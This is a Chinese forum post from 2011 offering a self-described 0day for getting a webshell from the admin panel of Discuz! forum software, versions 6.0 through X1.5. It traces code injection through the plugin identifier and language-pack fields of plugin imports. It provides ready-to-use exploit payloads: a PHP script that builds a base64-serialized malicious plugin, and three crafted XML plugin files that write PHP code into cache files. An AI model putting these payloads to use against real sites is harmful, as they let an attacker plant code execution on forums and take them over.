**Discuz! 2011所有版本后台拿Webshell 0day**

|  |
| --- |
| *本帖最后由 小火 于 2011-3-19 14:07 编辑*   既然还没跪，我就从Discuz!古老的6.0版本开始，漏洞都出现在扩展插件上，利用方式有所不同，下面开始。  **一 Discuz! 6.0 和 Discuz! 7.0** 既然要后台拿Shell，文件写入必看。  /include/cache.func.php http://www.linux520.com/bbs/images/default/attachimg.gif1.jpg  [**下载**](http://www.linux520.com/bbs/attachment.php?aid=MTI1MXw3ZWEzNDBjYnwxMzAwODg4ODY0fDIxZTVnMGF4aVlaUFh2N0NiYkR6SnpYemhwVnNrQ29yaWttQ1BzTGlIRGNpL3hR&nothumb=yes) (70.28 KB)  4 天前 13:46  往上翻,找到调用函数的地方.都在updatecache函数中. http://www.linux520.com/bbs/images/default/attachimg.gif2.jpg  [**下载**](http://www.linux520.com/bbs/attachment.php?aid=MTI1MnxmYzY1ZmNlYnwxMzAwODg4ODY0fDIxZTVnMGF4aVlaUFh2N0NiYkR6SnpYemhwVnNrQ29yaWttQ1BzTGlIRGNpL3hR&nothumb=yes) (81.75 KB)  4 天前 13:46  如果我们可以控制$plugin['identifier']就有机会,它是plugins表里读出来的. 去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下. 但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4个敌人的心情.  /admin/plugins.inc.php http://www.linux520.com/bbs/images/default/attachimg.gif3.jpg  [**下载**](http://www.linux520.com/bbs/attachment.php?aid=MTI1M3w4YzM0MDk2Y3wxMzAwODg4ODY0fDIxZTVnMGF4aVlaUFh2N0NiYkR6SnpYemhwVnNrQ29yaWttQ1BzTGlIRGNpL3hR&nothumb=yes) (80.04 KB)  4 天前 13:46  还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路. http://www.linux520.com/bbs/images/default/attachimg.gif4.jpg  [**下载**](http://www.linux520.com/bbs/attachment.php?aid=MTI1NHw1ZTZmMjQ4OHwxMzAwODg4ODY0fDIxZTVnMGF4aVlaUFh2N0NiYkR6SnpYemhwVnNrQ29yaWttQ1BzTGlIRGNpL3hR&nothumb=yes) (128.65 KB)  4 天前 13:46  随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用. /forumdata/cache/plugin\_shell.php http://www.linux520.com/bbs/images/default/attachimg.gif5.jpg  [**下载**](http://www.linux520.com/bbs/attachment.php?aid=MTI1NXw2M2Q2ZTBiOHwxMzAwODg4ODY0fDIxZTVnMGF4aVlaUFh2N0NiYkR6SnpYemhwVnNrQ29yaWttQ1BzTGlIRGNpL3hR&nothumb=yes) (34.23 KB)  4 天前 13:46  我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的.  /forumdata/cache/plugin\_a']=phpinfo();$a['a.php http://www.linux520.com/bbs/images/default/attachimg.gif6.jpg  [**下载**](http://www.linux520.com/bbs/attachment.php?aid=MTI1NnwwZjk4Y2ZkMnwxMzAwODg4ODY0fDIxZTVnMGF4aVlaUFh2N0NiYkR6SnpYemhwVnNrQ29yaWttQ1BzTGlIRGNpL3hR&nothumb=yes) (39.77 KB)  4 天前 13:46  最后是编码一次,给成Exp:   1. <?php 2. $a = unserialize(base64\_decode("YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIw 3. IjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNo 4. ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj 5. cmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk6 6. ImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3 7. OiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7 8. fQ==")); 9. //print\_r($a); 10. $a['plugin']['name']='GetShell'; 11. $a['plugin']['identifier']='a\']=phpinfo();$a[\''; 12. print(base64\_encode(serialize($a))); 13. ?>   *复制代码*  http://www.linux520.com/bbs/images/default/attachimg.gif7.jpg  [**下载**](http://www.linux520.com/bbs/attachment.php?aid=MTI1N3wwN2ExYzljNHwxMzAwODg4ODY0fDIxZTVnMGF4aVlaUFh2N0NiYkR6SnpYemhwVnNrQ29yaWttQ1BzTGlIRGNpL3hR&nothumb=yes) (42.35 KB)  4 天前 13:46  7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选"允许导入不同版本 Discuz! 的插件"   二 Discuz! 7.2 和 Discuz! X1.5  **本帖隐藏的内容需要回复才可以浏览**  以下以7.2为例 /admin/plugins.inc.php http://www.linux520.com/bbs/images/default/attachimg.gif8.jpg  [**下载**](http://www.linux520.com/bbs/attachment.php?aid=MTI1OHw3ZjVjNmNmY3wxMzAwODg4ODY0fDIxZTVnMGF4aVlaUFh2N0NiYkR6SnpYemhwVnNrQ29yaWttQ1BzTGlIRGNpL3hR&nothumb=yes) (99.62 KB)  4 天前 13:46  先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了. http://www.linux520.com/bbs/images/default/attachimg.gif9.jpg  [**下载**](http://www.linux520.com/bbs/attachment.php?aid=MTI1OXwwY2YyYzQxMXwxMzAwODg4ODY0fDIxZTVnMGF4aVlaUFh2N0NiYkR6SnpYemhwVnNrQ29yaWttQ1BzTGlIRGNpL3hR&nothumb=yes) (100.29 KB)  4 天前 13:46  判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包……  我们只要控制scriptlangstr或者其它任何一个就可以了。 http://www.linux520.com/bbs/images/default/attachimg.gif10.jpg  [**下载**](http://www.linux520.com/bbs/attachment.php?aid=MTI2MHxkNzEwNDU5Y3wxMzAwODg4ODY0fDIxZTVnMGF4aVlaUFh2N0NiYkR6SnpYemhwVnNrQ29yaWttQ1BzTGlIRGNpL3hR&nothumb=yes) (38.61 KB)  4 天前 13:46  Key这里不通用. http://www.linux520.com/bbs/images/default/attachimg.gif11.jpg  [**下载**](http://www.linux520.com/bbs/attachment.php?aid=MTI2MXxjYWI1OWQyZXwxMzAwODg4ODY0fDIxZTVnMGF4aVlaUFh2N0NiYkR6SnpYemhwVnNrQ29yaWttQ1BzTGlIRGNpL3hR&nothumb=yes) (36.71 KB)  4 天前 13:46  7.2 http://www.linux520.com/bbs/images/default/attachimg.gif12.jpg  [**下载**](http://www.linux520.com/bbs/attachment.php?aid=MTI2Mnw0NDFjZDIxMnwxMzAwODg4ODY0fDIxZTVnMGF4aVlaUFh2N0NiYkR6SnpYemhwVnNrQ29yaWttQ1BzTGlIRGNpL3hR&nothumb=yes) (27.6 KB)  4 天前 13:46  X1.5 还是看下shell.lang.php的文件格式. http://www.linux520.com/bbs/images/default/attachimg.gif13.jpg  [**下载**](http://www.linux520.com/bbs/attachment.php?aid=MTI2M3xkYjBiOWIxYnwxMzAwODg4ODY0fDIxZTVnMGF4aVlaUFh2N0NiYkR6SnpYemhwVnNrQ29yaWttQ1BzTGlIRGNpL3hR&nothumb=yes) (6.69 KB)  4 天前 13:46  7.2版本没有过滤Key,所以直接用\废掉单引号. X1.5,单引号转义后变为\',再被替换一次',还是留下了\  而$v在两个版本中过滤相同,比较通用.  X1.5至少副站长才可以管理后台,虽然看不到插件选项,但是可以直接访问/admin.php?frames=yes&action=plugins添加插件   $v通用Exp:   1. <?xml version="1.0" encoding="ISO-8859-1"?> 2. <root> 3. <item id="Title"><![CDATA[Discuz! Plugin]]></item> 4. <item id="Version"><![CDATA[7.2]]></item> 5. <item id="Time"><![CDATA[2011-03-16 15:57]]></item> 6. <item id="From"><![CDATA[Discuz! Board (http://www.hacker58.info/Discuz\_7.2\_SC\_UTF8/upload/)]]></item> 7. <item id="Data"> 8. <item id="plugin"> 9. <item id="available"><![CDATA[0]]></item> 10. <item id="adminid"><![CDATA[0]]></item> 11. <item id="name"><![CDATA[www]]></item> 12. <item id="identifier"><![CDATA[shell]]></item> 13. <item id="description"><![CDATA[]]></item> 14. <item id="datatables"><![CDATA[]]></item> 15. <item id="directory"><![CDATA[]]></item> 16. <item id="copyright"><![CDATA[]]></item> 17. <item id="modules"><![CDATA[a:0:{}]]></item> 18. <item id="version"><![CDATA[]]></item> 19. </item> 20. <item id="version"><![CDATA[7.2]]></item> 21. <item id="language"> 22. <item id="scriptlang"> 23. <item id="a"><![CDATA[b\]]></item> 24. <item id=");phpinfo();?>"><![CDATA[x]]></item> 25. </item> 26. </item> 27. </item> 28. </root>   *复制代码*  7.2 Key利用   1. <?xml version="1.0" encoding="ISO-8859-1"?> 2. <root> 3. <item id="Title"><![CDATA[Discuz! Plugin]]></item> 4. <item id="Version"><![CDATA[7.2]]></item> 5. <item id="Time"><![CDATA[2011-03-16 15:57]]></item> 6. <item id="From"><![CDATA[Discuz! Board (http://www.hacker58.info/Discuz\_7.2\_SC\_UTF8/upload/)]]></item> 7. <item id="Data"> 8. <item id="plugin"> 9. <item id="available"><![CDATA[0]]></item> 10. <item id="adminid"><![CDATA[0]]></item> 11. <item id="name"><![CDATA[www]]></item> 12. <item id="identifier"><![CDATA[shell]]></item> 13. <item id="description"><![CDATA[]]></item> 14. <item id="datatables"><![CDATA[]]></item> 15. <item id="directory"><![CDATA[]]></item> 16. <item id="copyright"><![CDATA[]]></item> 17. <item id="modules"><![CDATA[a:0:{}]]></item> 18. <item id="version"><![CDATA[]]></item> 19. </item> 20. <item id="version"><![CDATA[7.2]]></item> 21. <item id="language"> 22. <item id="scriptlang"> 23. <item id="a\"><![CDATA[=>1);phpinfo();?>]]></item> 24. </item> 25. </item> 26. </item> 27. </root>   *复制代码*  X1.5   1. <?xml version="1.0" encoding="ISO-8859-1"?> 2. <root> 3. <item id="Title"><![CDATA[Discuz! Plugin]]></item> 4. <item id="Version"><![CDATA[7.2]]></item> 5. <item id="Time"><![CDATA[2011-03-16 15:57]]></item> 6. <item id="From"><![CDATA[Discuz! Board (http://www.hacker58.info/Discuz\_7.2\_SC\_UTF8/upload/)]]></item> 7. <item id="Data"> 8. <item id="plugin"> 9. <item id="available"><![CDATA[0]]></item> 10. <item id="adminid"><![CDATA[0]]></item> 11. <item id="name"><![CDATA[www]]></item> 12. <item id="identifier"><![CDATA[shell]]></item> 13. <item id="description"><![CDATA[]]></item> 14. <item id="datatables"><![CDATA[]]></item> 15. <item id="directory"><![CDATA[]]></item> 16. <item id="copyright"><![CDATA[]]></item> 17. <item id="modules"><![CDATA[a:0:{}]]></item> 18. <item id="version"><![CDATA[]]></item> 19. </item> 20. <item id="version"><![CDATA[7.2]]></item> 21. <item id="language"> 22. <item id="scriptlang"> 23. <item id="a'"><![CDATA[=>1);phpinfo();?>]]></item> 24. </item> 25. </item> 26. </item> 27. </root>   *复制代码*  http://www.linux520.com/bbs/images/default/attachimg.gif14.jpg  [**下载**](http://www.linux520.com/bbs/attachment.php?aid=MTI2NHw4OWEzZTZiOHwxMzAwODg4ODY0fDIxZTVnMGF4aVlaUFh2N0NiYkR6SnpYemhwVnNrQ29yaWttQ1BzTGlIRGNpL3hR&nothumb=yes) (28.67 KB)  4 天前 13:46  http://www.linux520.com/bbs/images/default/attachimg.gif15.jpg  [**下载**](http://www.linux520.com/bbs/attachment.php?aid=MTI2NXwzODc5NjI4MXwxMzAwODg4ODY0fDIxZTVnMGF4aVlaUFh2N0NiYkR6SnpYemhwVnNrQ29yaWttQ1BzTGlIRGNpL3hR&nothumb=yes) (41.81 KB)  4 天前 13:46  如果你愿意,可以使用base64\_encode(serialize($a))的方法试试7.2获取Webshell.  BY： jsbug 2011.03.17 |